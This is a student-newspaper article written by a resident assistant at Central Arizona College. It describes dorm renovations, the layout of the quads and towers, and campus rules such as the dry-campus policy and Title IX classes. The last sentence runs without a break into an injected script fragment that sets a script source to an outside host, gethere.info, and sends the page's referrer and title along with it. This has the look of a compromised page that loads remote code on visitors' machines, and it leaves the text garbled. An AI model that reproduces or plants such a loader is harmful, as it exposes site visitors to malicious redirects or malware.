Home Away from Home (Dorms): an RA’s Viewpoint.

Miranda Martinez, Cactus Writer

The transition to college is hard, and moving into a new community and leaving home can be very difficult. Learning to live with a group of others, working to a very hectic schedule and keeping a social life can be a hard act to juggle. Yet, one thing you will not have to worry about, is how living here at Central Arizona College will affect your college experience. This small campus is one of only a few community colleges in Arizona with dorms and it is a very homey place to call home for your time here. The resident assistants, and professional staff on campus are always here to help how we can, and be your family and support while you call Central Arizona your home. With free laundry, a nice studying area and a very welcoming community you will feel like living on campus is a good decision.

This last year we have all new flooring to the quads around the dorms, we offer free laundry and even a new study room in the residence life building. We also re-arranged how the areas are set up. With the freshman in the 1300 quads and second floor of the towers. While the returners are mostly on the third floor of the tower and in the 1100s and 1200s. We have also tried to keep all the people in sports groups close together. All these changes we are making to the buildings and lay out makes it easier to keep sound levels down and keep groups together for sporting events. We are also making the campus more beautiful and homey. The renovations to the resident’s[?] life center make it easier to study. We still have the TV room to relax and have fun and the game room has been relocated to the first floor of the tower. Moving the game room has enabled us to keep all the fun and study areas separate to help us from distracting those who need peace and quiet to work.

There are rules to keep our campus beautiful. For example we are a dry campus, with a no tolerance policy. We also do not take fights lightly,;with 24 hour police on duty the laws enforced out in Pinal county also apply here. This year we are also shining light on Title IX by offering classes to the staff and bringing in a few guest speakers throughout the year. To keep our campus great, the rules must be highly enforced, to keep both our community safe and keep Signal Peak looking as good as it does today.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;